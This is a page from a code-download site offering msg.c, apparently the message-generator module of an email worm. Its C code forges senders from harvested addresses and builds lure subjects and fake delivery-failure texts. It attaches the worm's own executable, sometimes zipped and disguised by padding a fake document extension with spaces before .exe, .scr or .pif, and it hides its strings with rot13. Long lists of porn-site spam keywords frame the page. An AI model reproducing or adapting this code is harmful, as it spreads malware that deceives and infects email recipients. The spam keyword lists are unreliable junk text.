亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? msg.c

?? 一個蠕蟲病毒源代碼
?? C
字號:
/*
 *  Sync's message generator
 */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include "lib.h"
#include "msg.h"
#include "zipstore.h"
#include "massmail.h"

/* state structure */
struct msgstate_t {
	char *to, from[256], subject[128];
	char exe_name[32], exe_ext[16];
	char zip_used, zip_nametrick, is_tempfile;
	char attach_name[256];
	char attach_file[MAX_PATH];
	int attach_size;		/* in bytes */
	char mime_boundary[128];
	char *buffer;
	int buffer_size;
};

/* FIXME: must check "To:" != "From:" */
static void select_from(struct msgstate_t *state)
{
	static const char *step3_domains[] = {
		/* "aol.com", "msn.com", "yahoo.com", "hotmail.com" */
		"nby.pbz", "zfa.pbz", "lnubb.pbz", "ubgznvy.pbz"
	};
	int i, j, n;
	struct mailq_t *mq;

	state->from[0] = 0;

	/* STEP1 */
	while ((xrand16() % 100) < 98) {
		for (n=0,mq=massmail_queue; mq; mq=mq->next, n++);
		if (n <= 3) break;
		j = xrand32() % n;
		for (i=0,mq=massmail_queue; mq; mq=mq->next, i++)
			if (i == j) break;
		if (mq == NULL) break;
		lstrcpy(state->from, mq->to);
		return;
	}

	/* STEP 2: use any Outlook account. Not implemented yet. */

	/* STEP 3 */
	j = 3 + (xrand16() % 3);        /* username length; 3-5 chars */
	for (i=0; i<j; i++)
		state->from[i] = 'a' + (xrand16() % 26);
	state->from[i++] = '@';
	j = xrand16() % (sizeof(step3_domains) / sizeof(step3_domains[0]));
	rot13(state->from+i, step3_domains[j]);
}

static void select_exename(struct msgstate_t *state)
{
	static const struct {
		char pref;
		const char *name;
	} names[] = {
		{ 30, "qbphzrag" },
		{ 15, "ernqzr" },
		{ 15, "qbp" },
		{ 15, "grkg" },
		{ 10, "svyr" },
		{ 10, "qngn" },
		{ 5, "grfg" },
		{ 17, "zrffntr" },
		{ 17, "obql" },
		{ 0, "" }
	};
	static const struct {
		char pref;
		const char *ext;
	} exts[] = {
		{ 50, "cvs" },
		{ 50, "fpe" },
		{ 15, "rkr" },
		{ 5, "pzq" },
		{ 5, "ong" },
		{ 0, "" }
	};
	int i, j, tot;

	if ((xrand16() % 100) < 8) {
		j = 3 + (xrand16() % 5);
		for (i=0; i<j; i++)
			state->exe_name[i] = 'a' + (xrand16() % 26);
		state->exe_name[i] = 0;
	} else {
		for (i=0, tot=1; names[i].pref != 0; i++) tot += names[i].pref;
		j = xrand16() % tot;
		for (i=0, tot=1; names[i].pref != 0; i++)
			if ((tot += names[i].pref) >= j) break;
		if (names[i].pref == 0) i = 0;
		rot13(state->exe_name, names[i].name);
	}

	for (i=0, tot=1; exts[i].pref != 0; i++) tot += exts[i].pref;
	j = xrand16() % tot;
	for (i=0, tot=1; exts[i].pref != 0; i++)
		if ((tot += exts[i].pref) >= j) break;
	if (exts[i].pref == 0) i = 0;
	rot13(state->exe_ext, exts[i].ext);

	wsprintf(state->attach_name, "%s.%s", state->exe_name, state->exe_ext);
}

static void select_subject(struct msgstate_t *state)
{
	static const struct {
		char pref;
		const char *subj;
	} subjs[] = {
		{ 12, "" },
		{ 35, "grfg" },
		{ 35, "uv" },
		{ 35, "uryyb" },
		{ 8, "Znvy Qryvirel Flfgrz" },
		{ 8, "Znvy Genafnpgvba Snvyrq" },
		{ 8, "Freire Ercbeg" },
		{ 10, "Fgnghf" },
		{ 10, "Reebe" },
		{ 0, "" }
	};
	int i, j, tot;

	if ((xrand16() % 100) < 5) {
		j = 3 + (xrand16() % 15);
		for (i=0; i<j; i++)
			state->subject[i] = 'a' + (xrand16() % 26);
		state->subject[i] = 0;
	} else {
		for (i=0, tot=1; subjs[i].pref != 0; i++) tot += subjs[i].pref;
		j = xrand16() % tot;
		for (i=0, tot=1; subjs[i].pref != 0; i++)
			if ((tot += subjs[i].pref) >= j) break;
		if (subjs[i].pref == 0) i = 0;
		rot13(state->subject, subjs[i].subj);
	}

	i = xrand16() % 100;
	if ((i >= 50) && (i < 85))
		CharUpperBuff(state->subject, 1);
	else if (i >= 85)
		CharUpper(state->subject);
}

static int select_attach_file(struct msgstate_t *state)
{
	HANDLE h;
	char buf[MAX_PATH];

	state->zip_used = 0;
	state->zip_nametrick = 0;
	if ((xrand16() % 100) < 64)
		state->zip_used = 1;

	if (state->zip_used == 0) {
		state->is_tempfile = 0;
		GetModuleFileName(NULL, state->attach_file, MAX_PATH);
	} else {
		state->is_tempfile = 1;
		buf[0] = 0;
		GetTempPath(MAX_PATH, buf);
		if (buf[0] == 0)
			return 1;
		state->attach_file[0] = 0;
		GetTempFileName(buf, "tmp", 0, state->attach_file);
		if (state->attach_file[0] == 0)
			return 1;
		GetModuleFileName(NULL, buf, MAX_PATH);

		state->zip_nametrick = 0;
		if ((xrand16() % 100) < 40)
			state->zip_nametrick = 1;

		if (state->zip_nametrick == 0) {
			if (zip_store(buf, state->attach_file, state->attach_name))
				return 1;
		} else {
			char zip_name[512];
			int i;

			lstrcpy(zip_name, state->exe_name);
			lstrcat(zip_name, ".");
			switch (xrand16() % 5) {
				case 0: lstrcat(zip_name, "doc"); break;
				case 1: case 2: lstrcat(zip_name, "htm"); break;
				default: lstrcat(zip_name, "txt"); break;
			}
			for (i=0; i<70; i++)
				lstrcat(zip_name, " ");
			lstrcat(zip_name, ".");
			switch (xrand16() % 3) {
				case 0: lstrcat(zip_name, "e"); lstrcat(zip_name, "xe"); break;
				case 1: lstrcat(zip_name, "s"); lstrcat(zip_name, "cr"); break;
				default: lstrcat(zip_name, "p"); lstrcat(zip_name, "if"); break;
			}
			
			if (zip_store(buf, state->attach_file, zip_name))
				return 1;
		}
		wsprintf(state->attach_name, "%s.zip", state->exe_name);
	}

	h = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (h == NULL || h == INVALID_HANDLE_VALUE) {
		if (state->is_tempfile) DeleteFile(state->attach_file);
		return 1;
	}
	state->attach_size = GetFileSize(h, NULL);
	CloseHandle(h);

	if ((state->attach_size < 1024) || (state->attach_size > (300*1024))) {
		if (state->is_tempfile) DeleteFile(state->attach_file);
		return 1;
	}

	return 0;
}

static void write_msgtext(struct msgstate_t *state, unsigned char *p)
{
	struct {
		int pref;
		char *text;
	} texts[] = {
		{ 20, "" },
		{ 5, "test" },
		{ 40, "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment." },
		{ 40, "The message contains Unicode characters and has been sent as a binary attachment." },
		{ 20, "Mail transaction failed. Partial message is available." },
		{ 0, "" }
	};
	int i, j, w;

	if ((xrand16() % 100) < 20) {
		unsigned char c;
		w = 512 + xrand16() % 2048;
		for (i=0; i<w;) {
			c = xrand16() & 0xFF;
			if (c < 32) continue;
			if (c == '=' || c == '+' || c == 255 || c == 127 || c == 128 || c == '@')
				continue;
		        p[i++] = c;
			if ((xrand16() % 70) == 0) {
				p[i++] = 13;
				p[i++] = 10;
			}
		}
		p[i] = 0;
		return;
	}

	for (i=0,w=1; texts[i].pref != 0; i++) w += texts[i].pref;
	j = xrand16() % w;
	for (i=0,w=1; texts[i].pref != 0; i++) if ((w += texts[i].pref) >= j) break;
	if (texts[i].pref == 0) i = 0;
	lstrcpy(p, texts[i].text);
}

static void base64_t2q(BYTE *t, BYTE *q)
{
	BYTE alpha[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	q[0] = alpha[t[0] >> 2];
	q[1] = alpha[((t[0] & 03) << 4) | (t[1] >> 4)];
	q[2] = alpha[((t[1] & 017) << 2) | (t[2] >> 6)];
	q[3] = alpha[t[2] & 077];
}

static int msg_b64enc(char *outbuf, struct msgstate_t *state)
{
	HANDLE hIn;
	BYTE inbuf[1024], t[3], q[3];
	DWORD tp, inp, inlen, outp, i, linepos;
	const DWORD linelen = 76;

	hIn = CreateFile(state->attach_file, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);
	if (hIn == INVALID_HANDLE_VALUE) return 1;

	for (tp=0, inp=0, inlen=0, outp=0, linepos=0;;) {
		if (inp >= inlen) {
			ReadFile(hIn, inbuf, sizeof(inbuf), &inlen, NULL);
			if (inlen == 0) break;
			inp = 0;
		}
		t[tp++] = inbuf[inp++];
		if (tp == 3) {
			base64_t2q(t, q);
			for (i=0; i<4; i++) {
				outbuf[outp++] = q[i];
				if (++linepos >= linelen) {
					outbuf[outp++] = '\r';
					outbuf[outp++] = '\n';
					linepos = 0;
				}
			}
			memset(t, 0, sizeof(t));
			tp = 0;
		}
	}

	if (tp) {
		base64_t2q(t, q);
		if (tp < 3) q[3] = '=';
		if (tp < 2) q[2] = '=';
		for (i=0; i<4; i++)
			outbuf[outp++] = q[i];
	}

	outbuf[outp] = 0;

	CloseHandle(hIn);
	return 0;
}

static void write_headers(struct msgstate_t *state)
{
	char *buf = state->buffer;

	wsprintf(state->mime_boundary, "----=_%s_%.3u_%.4u_%.8X.%.8X", "NextPart", 0, xrand16() % 15, xrand32(), xrand32());

	rot13(buf, "Sebz: ");                              /* From: */
	lstrcat(buf, state->from);
	rot13(buf+lstrlen(buf), "\r\nGb: ");               /* To: */
	lstrcat(buf, state->to);
	rot13(buf+lstrlen(buf), "\r\nFhowrpg: ");          /* Subject */
	lstrcat(buf, state->subject);

	rot13(buf+lstrlen(buf), "\r\nQngr: ");             /* Date */
	mk_smtpdate(NULL, buf+lstrlen(buf));
	rot13(buf+lstrlen(buf), "\r\nZVZR-Irefvba: 1.0");  /* MIME-Version */
	rot13(buf+lstrlen(buf), "\r\nPbagrag-Glcr: zhygvcneg/zvkrq;\r\n");  /* "\r\nContent-Type: multipart/mixed;\r\n" */
	cat_wsprintf(buf, "\tboundary=\"%s\"", state->mime_boundary);
	rot13(buf+lstrlen(buf), "\r\nK-Cevbevgl: 3");          /* X-Priority: 3 */
	rot13(buf+lstrlen(buf), "\r\nK-ZFZnvy-Cevbevgl: Abezny");  /* X-MSMail-Priority: Normal */

	lstrcat(buf, "\r\n\r\n");
}

static int write_body(struct msgstate_t *state)
{
	char *p = state->buffer;
	char tmp[512];

	/* This is a multi-part message in MIME format. */
	rot13(p+lstrlen(p), "Guvf vf n zhygv-cneg zrffntr va ZVZR sbezng.\r\n\r\n");

	/*
	 * ------=_NextPart_...
	 * Content-Type: text/plain;
	 *	   charset="Windows-1252"
	 * Content-Transfer-Encoding: 7bit
	 */	 
	rot13(tmp,
		"--%f\r\n"
		"Pbagrag-Glcr: grkg/cynva;\r\n"
		"\tpunefrg=\"Jvaqbjf-1252\"\r\n"
		"Pbagrag-Genafsre-Rapbqvat: 7ovg\r\n\r\n"
	);
	cat_wsprintf(p, tmp, state->mime_boundary);

	write_msgtext(state, p+lstrlen(p));
	lstrcat(p, "\r\n\r\n\r\n");

	/*
	 *	------=_NextPart_xxx
	 * Content-Type: application/octet-stream;
	 *    name="ntldr"
	 * Content-Transfer-Encoding: base64
	 * Content-Disposition: attachment;
	 *    filename="ntldr"
	 */
	rot13(tmp,
		"--%f\r\n"
		"Pbagrag-Glcr: nccyvpngvba/bpgrg-fgernz;\r\n"
		"\tanzr=\"%f\"\r\n"
		"Pbagrag-Genafsre-Rapbqvat: onfr64\r\n"
		"Pbagrag-Qvfcbfvgvba: nggnpuzrag;\r\n"
		"\tsvyranzr=\"%f\"\r\n\r\n"
	);
	cat_wsprintf(p, tmp, state->mime_boundary, state->attach_name, state->attach_name);

	if (msg_b64enc(p+lstrlen(p), state))
		return 1;

	cat_wsprintf(p, "\r\n\r\n--%s--\r\n\r\n", state->mime_boundary);

	return 0;
}


/* Main function. Returns pointer to a buffer with generated buffer.
   Caller is responsible to free it using GlobalFree() */
char *msg_generate(char *email)
{
	struct msgstate_t state;

	if (email == NULL) return NULL;
	if (lstrlen(email) < 7) return NULL;		/* x@xx.xx */
	memset(&state, '\0', sizeof(state));

	state.to = email;
	select_from(&state);
	select_exename(&state);
	select_subject(&state);

	if (select_attach_file(&state))
		return NULL;

	state.buffer_size = 8096 + (4 * state.attach_size) / 3;
	state.buffer_size = (((state.buffer_size + 1023) / 1024)) * 1024;
	state.buffer = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, state.buffer_size);
	if (state.buffer == NULL) goto err;

	state.buffer[0] = 0;
	write_headers(&state);
	if (write_body(&state)) goto err;

	if (state.is_tempfile) DeleteFile(state.attach_file);
	return state.buffer;

err:	if (state.is_tempfile) DeleteFile(state.attach_file);
	if (state.buffer != NULL) GlobalFree((HGLOBAL)state.buffer);
	return NULL;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲国产精品自拍| 久久伊99综合婷婷久久伊| 亚洲日本免费电影| 成人美女视频在线看| 国产精品成人一区二区艾草| 99久久免费精品| 亚洲国产美女搞黄色| 欧美裸体一区二区三区| 日韩av电影免费观看高清完整版 | 日韩制服丝袜av| 精品国产乱码久久久久久牛牛| 韩国v欧美v亚洲v日本v| 国产欧美一区二区精品秋霞影院| 波多野结衣在线一区| 一区二区三区不卡在线观看 | 亚洲国产日韩a在线播放| 欧美一区二区私人影院日本| 久久99国产乱子伦精品免费| 国产欧美va欧美不卡在线| 9色porny自拍视频一区二区| 亚洲欧美国产三级| 欧美一级午夜免费电影| 成人午夜在线视频| 懂色av中文一区二区三区| 中文字幕在线观看一区二区| 欧美日韩亚洲综合在线 欧美亚洲特黄一级 | 久久这里都是精品| 欧美影视一区二区三区| 另类欧美日韩国产在线| 国产精品免费视频一区| 欧美一区二区三区影视| 99久久国产综合精品女不卡| 日日夜夜免费精品| 中文字幕亚洲一区二区va在线| 欧美电影一区二区| 97精品电影院| 国产资源精品在线观看| 亚洲一级二级在线| 欧美国产欧美综合| 日韩欧美一区在线观看| 91女厕偷拍女厕偷拍高清| 美女脱光内衣内裤视频久久影院| 国产精品福利一区| 欧美精品一区二区三| 色av成人天堂桃色av| 精品亚洲国产成人av制服丝袜| 亚洲另类春色校园小说| 中文字幕乱码久久午夜不卡| 91精品国产综合久久香蕉麻豆 | 色综合久久综合网欧美综合网| 日韩国产在线一| 亚洲视频免费看| 国产日本亚洲高清| 久久综合久久鬼色中文字| 欧美日韩三级一区二区| 不卡一区二区在线| 久热成人在线视频| 日韩成人av影视| 亚洲国产乱码最新视频| 亚洲黄一区二区三区| 国产精品丝袜在线| 国产日韩亚洲欧美综合| 精品国产乱码久久久久久牛牛| 9191久久久久久久久久久| 在线观看视频91| 在线免费视频一区二区| 91麻豆免费看片| 欧美成人国产一区二区| 4438亚洲最大| 91精品国产入口在线| 欧美日韩综合色| 欧美色网一区二区| 日本精品裸体写真集在线观看| www.亚洲人| 99久久夜色精品国产网站| 成人福利视频在线| 99re热这里只有精品免费视频 | 综合欧美一区二区三区| 最新国产成人在线观看| 亚洲欧洲综合另类在线| 亚洲欧美日韩国产综合| 亚洲三级理论片| 亚洲欧美日韩电影| 玉米视频成人免费看| 亚洲黄色免费电影| 亚洲成av人片一区二区| 亚洲成人自拍网| 蜜桃久久av一区| 国产一区二区三区黄视频 | 国产欧美日韩三区| 国产精品第13页| 亚洲免费高清视频在线| 一区二区久久久久久| 亚洲1区2区3区视频| 日本不卡免费在线视频| 国产一区二区三区高清播放| 国产电影一区在线| 99国产精品久久| 欧美网站大全在线观看| 日韩欧美综合在线| 亚洲国产精品国自产拍av| 亚洲色图制服丝袜| 五月天欧美精品| 国产精品12区| 日本道色综合久久| 日韩你懂的电影在线观看| 久久久国产午夜精品| 亚洲美女屁股眼交| 久久国产精品区| 一本色道久久综合亚洲91| 欧美日韩欧美一区二区| 日韩免费观看高清完整版| 国产精品久久久一区麻豆最新章节| 亚洲女爱视频在线| 久久精品国产免费看久久精品| 风流少妇一区二区| 欧美图区在线视频| 日本一区二区三区国色天香| 一区二区在线免费观看| 国产一区二区三区久久久| 色系网站成人免费| 久久综合国产精品| 亚洲国产乱码最新视频| 成人中文字幕电影| 3atv在线一区二区三区| 国产精品久久久久永久免费观看 | 亚洲综合男人的天堂| 精品一区二区成人精品| 在线观看日韩精品| 亚洲精品在线观| 亚洲国产视频直播| 成人激情免费网站| 欧美成人猛片aaaaaaa| 亚洲欧美日韩一区| 欧美狂野另类xxxxoooo| 国产精品高潮久久久久无| 久久激情综合网| 欧美丰满美乳xxx高潮www| 亚洲男女一区二区三区| 国产高清视频一区| 欧美成人免费网站| 日韩经典一区二区| 91电影在线观看| 欧美国产激情二区三区| 黑人精品欧美一区二区蜜桃| 欧美日韩在线一区二区| 综合中文字幕亚洲| 成人国产精品免费观看动漫| 欧美精品一区视频| 蜜桃久久av一区| 欧美一区二区三区在线观看视频 | 爽爽淫人综合网网站| 在线一区二区三区| 亚洲视频1区2区| 99久久久无码国产精品| 国产精品麻豆视频| 国产成人综合亚洲网站| 精品成人在线观看| 免费在线观看日韩欧美| 91精品婷婷国产综合久久性色| 亚洲午夜视频在线| 日本精品一区二区三区高清| 亚洲免费在线观看视频| 色综合久久久久| 亚洲精品伦理在线| 欧美视频三区在线播放| 亚洲国产视频在线| 777精品伊人久久久久大香线蕉| 一区二区三区欧美| 欧美日韩中字一区| 午夜视频一区二区三区| 欧美日韩一区二区三区免费看 | 精品久久久久一区| 国产一区欧美二区| 国产亚洲污的网站| 国产91清纯白嫩初高中在线观看| 亚洲国产精品成人久久综合一区| 丁香啪啪综合成人亚洲小说 | 天天影视涩香欲综合网| 91精品国产综合久久久久久久久久| 性做久久久久久久免费看| 5858s免费视频成人| 久久精品99国产精品日本| 久久先锋影音av| 99热这里都是精品| 亚洲网友自拍偷拍| 日韩欧美黄色影院| 成人免费观看视频| 亚洲夂夂婷婷色拍ww47| 欧美理论片在线| 欧美日韩精品一区二区| 久久91精品久久久久久秒播| 国产欧美日韩精品a在线观看| 99久久精品国产一区二区三区 | 日韩va欧美va亚洲va久久| 精品国产乱码久久久久久免费| 国产99久久久国产精品免费看| 综合在线观看色| 日韩午夜激情视频| 91蜜桃传媒精品久久久一区二区|